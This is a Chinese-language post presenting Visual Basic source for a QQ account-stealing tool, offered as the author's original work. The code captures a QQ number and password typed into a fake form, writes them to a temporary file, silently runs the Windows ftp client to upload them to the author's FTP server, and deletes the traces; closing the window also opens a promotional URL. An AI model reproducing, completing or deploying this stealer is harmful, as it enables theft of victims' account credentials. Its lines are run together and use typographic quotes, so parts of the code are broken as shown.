QQftp盗号vb源码【原创】

前一段时间我发表了一篇软文qq盗号软件现在我介绍下原理

通过调用windows自身ftp组件实现发送密码

通过filename语言建立和删除密码。ok下面看源码！

准备工作：新建textbox1和textbox2和一个按钮再复制以下vb代码

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As LongConst SYNCHRONIZE = &H100000Const INFINITE = &HFFFFFFFFPrivate Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPrivate Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As LongPrivate Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long

Private Sub Command1_Click()Dim filename As StringDim ftp As StringDim uname As StringDim upin As Stringftp = Label1.Captionuname = Label2.Captionupin = Label3.Caption
filename = Timer()Open filename & ".script" For Output As #1    Print #1, "user"    Print #1, uname    Print #1, upin    Print #1, "pwd"    Print #1, "hash"    Print #1, "put " & filename & ".txt"    Print #1, "quit"Close #1

Open filename & ".txt" For Output As #1    Print #1, "账号" & Text1.Text    Print #1, "密码" & Text2.TextClose #1DoEvents
Dim pId As Long, pHnd As LongpId = Shell("ftp -n -s:" & filename & ".script" & " " & ftp, vbHide)pHnd = OpenProcess(SYNCHRONIZE, 0, pId)If pHnd <> 0 ThenCall WaitForSingleObject(pHnd, INFINITE)Call CloseHandle(pHnd)End IfKill filename & ".script"Kill filename & ".txt"End Sub

Private Sub OpenUrl(tUrl As String)          ShellExecute Me.hwnd, “Open”, tUrl, 0, 0, 0  End Sub
Private Sub Form_Unload(Cancel As Integer)OpenUrl “http://www.gzh6.com “End Sub

下面是我的一个关闭访问不喜欢就去掉吧！